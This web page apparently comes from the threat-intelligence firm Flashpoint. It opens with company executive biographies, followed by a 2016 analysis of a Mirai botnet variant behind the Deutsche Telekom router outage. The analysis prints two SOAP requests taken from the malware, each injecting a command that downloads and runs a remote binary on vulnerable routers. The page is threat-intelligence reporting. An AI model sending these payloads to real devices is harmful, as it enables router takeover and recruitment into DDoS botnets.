Josh Lefkowitz
Chief Executive Officer
Josh Lefkowitz executes the company’s strategic vision to empower organizations with the fastest, most comprehensive coverage of threatening activity on the internet. He has worked extensively with authorities to track and analyze terrorist groups. Mr. Lefkowitz also served as a consultant to the FBI’s senior management team and worked for a top tier, global investment bank. Mr. Lefkowitz holds an MBA from Harvard University and a BA from Williams College.
Evan Kohlmann
Chief Innovation Officer
Evan Kohlmann focuses on product innovation at Flashpoint where he leverages fifteen years’ experience tracking Al-Qaida, ISIS, and other terrorist groups. He has consulted for the US Department of Defense, the US Department of Justice, the Australian Federal Police, and Scotland Yard’s Counter Terrorism Command, among others. Mr. Kohlmann holds a JD from the Univ. of Pennsylvania Law School and a BSFS in International Politics from the Walsh School of Foreign Service at Georgetown Univ.
Josh Devon
Chief Operating Officer / Chief Product Officer
Josh Devon focuses on product vision and strategy at Flashpoint while ensuring the company’s departments function synergistically during its rapid growth. He also works to ensure that customers receive best in class products, services, and support. Previously, Mr. Devon co-founded the SITE Intelligence Group where he served as Assistant Director. He holds an MA from SAIS at Johns Hopkins Univ. At the Univ. of Pennsylvania, he received a BS in Economics from the Wharton School and a BA in English from the College of Arts and Sciences.
Chris Camacho
Chief Revenue Officer
As Chief Revenue Officer, Chris Camacho leads the company’s global sales team, which includes solution architecture, business development, strategic integrations, partnerships, and revenue operations; he is also the architect of Flashpoint’s FPCollab sharing community. With over 15 years of cybersecurity leadership experience, he has spearheaded initiatives across Operational Strategy, Incident Response, Threat Management, and Security Operations to ensure cyber risk postures align with business goals. Most recently as a Senior Vice President of Information Security at Bank of America, Mr. Camacho was responsible for overseeing the Threat Management Program. An entrepreneur, Mr. Camacho also serves as CEO for NinjaJobs: a career-matching community for elite cybersecurity talent. He has a BS in Decision Sciences & Management of Information Systems from George Mason University.
Lisa Iadanza
Chief People Officer
Lisa M. Iadanza leads all functional areas of People Operations at Flashpoint, including human resources, talent acquisition & management, employee engagement, and developing high performance teams. In addition to collaborating with the executive team to drive strategic growth, she plays an integral role in fostering Flashpoint’s culture and mission. Driven by her passions for mentorship, employee advocacy, and talent development, Ms. Iadanza has more than twenty years of experience in building, scaling, and leading human resources functions. Prior to Flashpoint, she held leadership roles at Conde Nast, Terra Technology, and FreeWheel. She is a member of the Society for Human Resources Management (SHRM) and holds a bachelor’s degree in management with concentrations in human resources and marketing from State University of New York at Binghamton.
Donald Saelinger
Donald Saelinger is responsible for driving strategic and operational initiatives to accelerate Flashpoint’s growth and scale. In this role, Donald leads a broad portfolio including Marketing, Customer Success, Revenue Operations, Legal and related functions, and is focused on helping the company execute on a go-to-market approach that maximizes value to our customers. Prior to Flashpoint, Donald served as Chief Operating Officer and General Counsel of Endgame, Inc., an endpoint detection and response company acquired by Elastic N.V. in 2019, and where he led a range of teams focused on growth, scale, and legal and compliance matters. Donald also previously served as the General Counsel and Chief Compliance Officer at Opower, Inc. (NYSE: OPWR), a global provider of SaaS solutions to electric and gas utilities that was acquired by Oracle, Inc. in 2016. Donald graduated from Columbia University in 2000 and received his JD from the Georgetown University Law Center in 2006.
Rob Reznick
SVP Finance and Corporate Development
Rob Reznick leads the finance, accounting, and corporate development teams at Flashpoint. Rob previously served as Director of Finance & Accounting for 1010data (acquired by Advance/Newhouse), and Director of Finance for Financial Guard (acquired by Legg Mason) after prior work in forensic accounting and dispute consulting. Mr. Reznick is a Certified Public Accountant and holds an MBA and MAcc from the Fisher College of Business at the Ohio State University, and a BBA from the Ross School of Business at the University of Michigan.
Tom Hofmann
SVP Intelligence
Tom Hofmann leads the intelligence directorate that is responsible for the collection, analysis, production, and dissemination of Deep and Dark Web data. He works closely with clients to prioritize their intelligence requirements and ensures internal Flashpoint operations are aligned to those needs. Mr. Hofmann has been at the forefront of cyber intelligence operations in the commercial, government, and military sectors, and is renowned for his ability to drive effective intelligence operations to support offensive and defensive network operations.
Jake Wells
SVP Solutions Architecture
Jake Wells leads strategic integrations and information sharing as part of the client engagement & development team, which serves as an internal advocate for our government and commercial clients to ensure Flashpoint’s intelligence solutions meet their evolving needs. He leverages a decade of experience running cyber and counterterrorism investigations, most recently with the NYPD Intelligence Bureau, to maximize the value customers generate from our products and services. Mr. Wells holds an MA from Columbia University and a BA from Emory University.
Brian Brown
SVP Strategy and Business Development
Brian Brown is responsible for the overall direction of strategic sales and development supporting Flashpoint’s largest clients. In his role, Mr. Brown focuses on designing and executing growth-oriented sales penetration strategies across multiple vertical markets, including both Government and Commercial, supporting Flashpoint’s Sales and Business Development Teams. An experienced entrepreneur, Mr. Brown also serves as CSO for NinjaJobs, a private community created to match elite cybersecurity talent with top tier global jobs and also advise growth-stage cybersecurity companies.
Justin Rogers
VP Revenue Operations
Justin Rogers leads the Revenue Operations team at Flashpoint, aligning sales, marketing, partnerships, customer success, and finance across vision, planning, process, and goals. He leverages over 15 years of experience in security, strategy, product design, and implementation to drive growth, provide an end-to-end view of the customer journey, and a seamless customer experience. Recently, Justin led Marketing for Centripetal, bringing the first Threat Intelligence Gateway to market. Previously, he managed operations of a Counter IED lab electronics forensics division while forward deployed in support of Operation Iraqi Freedom and Operation Enduring Freedom in Afghanistan. Justin holds a BS in Electrical Engineering from the University of New Hampshire.
Peter Partyka
VP Engineering
Peter Partyka leads Flashpoint’s engineering teams. Peter previously worked in the quantitative hedge fund space in New York City, implementing security and administrative solutions around proprietary trading platforms, high-availability cloud deployments, and hardening of applications and infrastructure. Peter leverages more than 16 years of experience in technology specializing in application security, red-teaming, penetration testing, exploit development, as well as blue-teaming. Peter has a long track record of managing tech teams and implementing engineering security best practices. Recently Peter led Flashpoint toward GDPR and CCPA compliance and has been a key architect of Flashpoint’s robust compliance programs. Peter has taught advanced cybersecurity courses at New York University and consulted at various tech startups during his career.
Paul Farley
Paul Farley is responsible for the Asia-Pacific region of Flashpoint's international business, including Australia, Japan, and Singapore. In his role at Flashpoint, Paul is executing growth-oriented sales strategies across multiple countries and vertical markets, including both Government and Commercial. Paul has extensive experience leading regional sales for both pre-IPO growth businesses and large organizations such as RSA, EMC and DELL.
Steven Cooperman
VP Public Sector Sales
Steven Cooperman is responsible for Flashpoint’s strategy and sales growth of its public sector business. He also supports the development of a robust partner ecosystem for public sector business to deliver value added offerings and innovation focused to the mission of government. Steven has an established and diverse career in the Public Sector, holding leadership positions at a number of successful enterprise software companies and Federal System Integrators, including ServiceNow, HP, Oracle and Northrop Grumman. He holds an MA in Analytic Geography from the State University of New York - Binghamton, and received his BS in Geology from the State University - Oneonta.
Matthew Howell
VP Product
Matthew Howell leads the Product Management and Product Marketing teams for Flashpoint. He is responsible for developing a strong team that drives product adoption and user engagement through outcome based prioritization, continuous process improvement, and metrics driven development. Matthew brings a passion for diverse ideas, experience launching B2B SaaS products, building integration ecosystems, supporting five 9s SLAs, and leading distributed teams. He holds a bachelor’s degree in computer science from the University of Virginia
Glenn Lemons
Executive Director Strategic Accounts Engagement
Glenn Lemons is Executive Director, Strategic Accounts Engagement at Flashpoint. He previously served as the acting Director of Citigroup's Cyber Intelligence Center where he was responsible for analyzing and reacting to intelligence from a variety of threats. These threats ranged from fraudulent activity and attempting to defraud Citi's clients to supporting security operations for the firm's worldwide network presence. He has extensive experience working with multiple clients across the financial services, manufacturing, healthcare, and public sectors. Glenn also has more than 26 years of intelligence experience within the operational and support communities in the U.S. military and federal civilian service; seven of which focused on both defensive and offensive cyber operations. While working for the U.S. Department of Homeland Security, he testified numerous times before U.S. Congressional committees and member requested open and closed sessions.
Steve Leightell
Steve started his career in Internet sales in the early 1990s and was always a top sales rep before transitioning to business development. By the early 2000s, he was the Director of Business Development at DWL, where he managed a team that built partnerships with Accenture, Oracle, Tata Consulting, Wipro, Cognizant and IBM. Steve designed the channel and strategy that ultimately culminated in the acquisition of DWL by IBM in 2005. He went on to lead a global team within IBM that was responsible for major system integrator partnerships. In 2008, he left IBM to found a niche consulting firm focused on business development for SaaS organizations. Steve holds a BA in anthropology and sociology from Carleton University in Ottawa.
Ellie Wheeler
Ellie Wheeler is a Partner at Greycroft and is based in the firm’s New York office. Prior to joining Greycroft, Ellie worked in a similar role evaluating investment opportunities at Lowercase Capital. Ellie also worked at Cisco in Corporate Development doing acquisitions, investments, and strategy within the unified communications, enterprise software, mobile, and video sectors. While at Cisco, she was involved in multiple acquisitions and investments, including PostPath, Jabber, Xobni, and Tandberg. She began her career in growth capital private equity at Summit Partners in Boston. Ellie graduated magna cum laude from Georgetown University with a BA in Psychology and holds an MBA from Harvard Business School.
Glenn McGonnigle
Glenn McGonnigle is a General Partner at TechOperators. Prior to launching TechOperators in 2008, Glenn was CEO of VistaScape Security Systems, a venture-backed provider of enterprise intelligent video surveillance software. He lead the company through its successful sale to Siemens Building Technologies. Previously, Glenn was a co-founder and senior executive of Atlanta-based Internet Security Systems (ISS) where he helped raise initial venture capital and launch the business. For 7 years, he led the business development team in developing sales channels and entering the managed security services market. During his tenure, the company grew from startup to revenues of over $225 million and was later acquired by IBM for $1.3 billion.
Brendan Hannigan
Brendan joined Polaris Partners in 2016 as an entrepreneur partner. In this role, he focuses on funding and founding companies in the technology sector with a concentration in cloud, analytics, and cybersecurity. Brendan is a co-founder of Sonrai Security and chairman of Twistlock, both Polaris investments. He also currently serves on the board of Bitsight Technologies and Flashpoint. A 25 year technology industry veteran, Brendan was most recently the general manager of IBM Security. Under Brendan’s leadership, IBM Security grew significantly faster than the overall security market to become the number one enterprise security provider in the world with almost $2B of annual revenue.
Matt Devost
Currently, Devost serves as CEO & Co-Founder of OODA LLC as well as a review board member for Black Hat. In 2010, he co-founded the cybersecurity consultancy FusionX LLC which was acquired by Accenture in August 2015, where he went on to lead Accenture's Global Cyber Defense practice. Devost also founded the Terrorism Research Center in 1996 where he served as President and CEO until November 2008 and held founding or leadership roles at iDefense, iSIGHT Partners, Total Intel, SDI, Tulco Holdings, and Technical Defense.
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New Mirai Variant Leaves 5 Million Devices Worldwide Vulnerable — High Concentration in Germany, UK and Brazil

CTI Strategy & Ops
November 29, 2016

Key Takeaways

• Flashpoint confirms the existence of a new Mirai variant and its involvement in the recent Deutsche Telekom outage. Flashpoint has linked at least one distributed denial-of-service (DDoS) attack to this variant. Flashpoint assesses with high confidence that the new Mirai variant is likely an attempt by one of the existing Mirai botmasters to expand the number of infected devices in their botnet.

• Flashpoint assesses with high confidence that the malware is based on Mirai. While the original Mirai propagated over TCP/23 (Telnet) and TCP/2323 and leveraged default usernames and passwords, this new variant of Mirai utilizes the TR-064 and TR-069 protocols over port 7547 and exploits a known vulnerability to gain control of devices.

• Flashpoint confirms the presence of infected devices in Germany, Brazil, and the UK. Though the exact number of compromised devices is unknown, the number of vulnerable devices is estimated to be five million.

• Flashpoint also assesses with high confidence that this exploit and Mirai variant were used to feed bots to an existing DDoS infrastructure that likely exists as a commercial service.

• With the most recent update to Mirai, the attackers have distributed their C2 infrastructure across several /24’s, much of which is currently being used to issue commands. Flashpoint has identified attacks targeting single entities being issued from over 400 unique C2 IP addresses.


This week, Deutsche Telekom announced an outage affecting over 900,000 customers. The affected customers all have routers that were vulnerable to a specific exploit that was recently incorporated into an Internet of Things (IoT) worm that was released on the Internet. This IoT worm scanned the Internet for the vulnerability on TCP port 7547, and a global uptick in this type of traffic was noted beginning on November 26, 2016. Deutsche Telekom was not the only Internet Service Provider (ISP) affected by this. A number of vulnerable devices exist in other countries, including Brazil and the UK.

Flashpoint confirms that this malware is a new Mirai variant and its involvement in the recent Deutsche Telekom outage. Flashpoint also assesses with high confidence that this variant is an attempt by one of the existing Mirai botmasters to expand the number of infected devices in their botnet. This new Mirai variant is using some of the same C2s used by existing Mirai infrastructure, strongly suggesting that the infected devices are controlled by the same group.

Mirai was initially able to create the devastating and record-breaking attacks that were observed against the security blog “Krebs on Security” as well as hosting company OVH and ISP Dyn because there were only a few variants that were competing for a large pool of vulnerable devices. After the source code for Mirai and its exploitation vector were released on hackforums[.]net, the situation changed dramatically and the number of independent Mirai operators attempting to exploit the same IoT device pool subsequently increased. A turf war has ensued, and the overall size of most attacks launched by Mirai botnets has been much smaller than the original record-breaking attacks. A natural next step in the evolution of this malware is for criminal actors to decouple the Mirai payload from its spreading mechanism, and use a different spreading mechanism.

Flashpoint assesses with high confidence that the malware is based on Mirai. The malware’s method of infection and propagation differs from that of Mirai. Originally, Mirai propagated over TCP/23 (Telnet) and TCP/2323, and leveraged default username and passwords. This new variant of Mirai takes a much more targeted approach, exploiting a specific vulnerability in a specific type of device. In particular, the new Mirai variant utilizes the TR-064 and TR-069 protocols over port 7547 and exploits a known vulnerability to gain control of the device. The protocol TR-069 runs the “provisioning networks” used by ISPs and telecoms to remotely manage modems and routers in their consumer networks. The new Mirai variant exploits these provisioning networks further to freely spread within the modem or router’s network “segment,” which can vary wildly and amount to the size of street, municipality, or entire country.

Flashpoint confirms the presence of infected devices in other countries. Although initial reports suggested that infections were limited to the roughly 900,000 Deutsche Telekom routers in Germany, this does not appear to be the case. Flashpoint assesses with high confidence the presence of other infected devices in the following countries: the United Kingdom, Brazil, Turkey, Iran, Chile, Ireland, Thailand, Australia, Argentina, Italy, and Germany. Though the number of infected devices is currently unknown, a sizable population of devices is vulnerable. Some estimates put the total number of devices with port 7547 open at around 41 million, and devices that allow non-ISPs access to provisioning networks number up to five million. If even a fraction of these vulnerable devices were compromised they would add considerable power to an existing botnet.

Malware and Exploits

This variant updates Mirai’s code to include the ability for SOAP exploitation. The exploit used in this Mirai variant was made public on November 8, and is specific to Eir D1000 Wireless Routers. This exploit can be used for WAN-side command injection. By modifying the code, Mirai attackers are using the following exploit and payload.

Image 1: Exploit code from Mirai.
Image 1: Exploit code from Mirai.

In Image 1, the attackers can be observed forcing the system to change directory to /tmp, issuing wget to deliver a malicious payload, and changing the permissions so that everyone is able to read, write, and execute, then executing the payload.

While there was some initial confusion regarding its relation to malware, Flashpoint performed a single-byte XOR of 0x22 in order to identify Mirai strings, as well as the C2 for this malware sample.

Image 2: Mirai strings and C2 for modified sample.

The below SOAP requests are strings found in the malware:

POST /UD/act?1 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers
Content-Type: text/xml
Content-Length: 526
<?xml version=”1.0″?><SOAP-ENV:Envelope xmlns:SOAP-ENV=”hxxp://schemas[.]xmlsoap[.]org/soap/envelope/” SOAP-ENV:encodingStyle=”hxxp://schemas[.]xmlsoap[.]org/soap/encoding/”> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u=”urn:dslforum-org:service:Time:1″> <NewNTPServer1>`cd /tmp;wget hxxp://l[.]ocalhost[.]host/1;chmod 777 1;./1`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope>

POST /UD/act?1 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers
Content-Type: text/xml
Content-Length: 526
<?xml version=”1.0″?><SOAP-ENV:Envelope xmlns:SOAP-ENV=”hxxp://schemas[.]xmlsoap[.]org/soap/envelope/” SOAP-ENV:encodingStyle=”hxxp://schemas[.]xmlsoap[.]org/soap/encoding/”> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u=”urn:dslforum-org:service:Time:1″> <NewNTPServer1>`cd /tmp;wget http://l[.]ocalhost[.]host/2;chmod 777 2;./2`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope>

Known Attacks and Infrastructure

The botnet has been linked to a few small-scale DDoS attacks. Starting on 11-28-2016_18:54:22_UTC , attackers issued commands to attack an IP address located in Africa. The attack length for this was one hour and issued from 46 different Mirai C2’s. This is significant, as the attackers are starting to stand up more C2’s in order to be more resilient against takedowns.

Starting at 11-29-2016_14:17:14_UTC , unknown attackers issued attacks to a cloud hosting provider. As specified by the DDoS attack, the payload size was 10240 bytes, was meant to last 121 seconds, and was issued from 488 different Mirai C2 addresses. The last command was issued at 11-29-2016_14:37:39_UTC, with a total attack duration around 22 minutes.

More attacks have been observed from a new Mirai botnet. On 11-29-2016_15:26:50_UTC , attacks were again issued against the same African IP address for the duration of 1 hour. The last command would have been received at 11-29-2016_15:45:23_UTC , with the DDoS against the victim lasting an hour and a half. This attack was issued to 75 different Mirai C2’s.

Flashpoint analysts are constantly monitoring the changes of this botnet, but with the dispersion of the C2’s, attackers behind this Mirai botnet are updating Mirai’s infrastructure. By adding new vulnerabilities and other infection vectors, this allows the attackers to re-gain control, lock others out, and continue to build the Mirai botnet into something much much larger.


In this operation, the perpetrators have shown a high degree of skill. Not only were they able to operationalize this exploit shortly after the relevant Metasploit module was released on November 8, they have quickly modified the Mirai source code to serve this new purpose. Additionally, the C2 infrastructure associated with this operation is significant, encompassing a number of domains and /24 ranges that were purchased for this purpose. Infrastructure of this scale is expensive and signifies not only that this is likely a commercial operation, but that there is an attempt to become more resistant to takedowns.

An emerging distributed denial-of-service (DDoS) mitigation technique involves the takedown of C2 servers, either by shutting down the C2, or by dropping routes to the C2, starving it of new infections. Hackers are establishing flexible or redundant infrastructure in order to be able to adapt and maintain continuity of operations if their infrastructure is compromised and disabled by ISPs, vigilantes, or law enforcement. Attackers are also using the Mirai malware as a base to innovate, leveraging new vulnerabilities targeted at large populations of IoT devices to gain an advantage against other competing botnets.

Flashpoint will continue to monitor and report on new developments in this new Mirai variant and resulting botnets.




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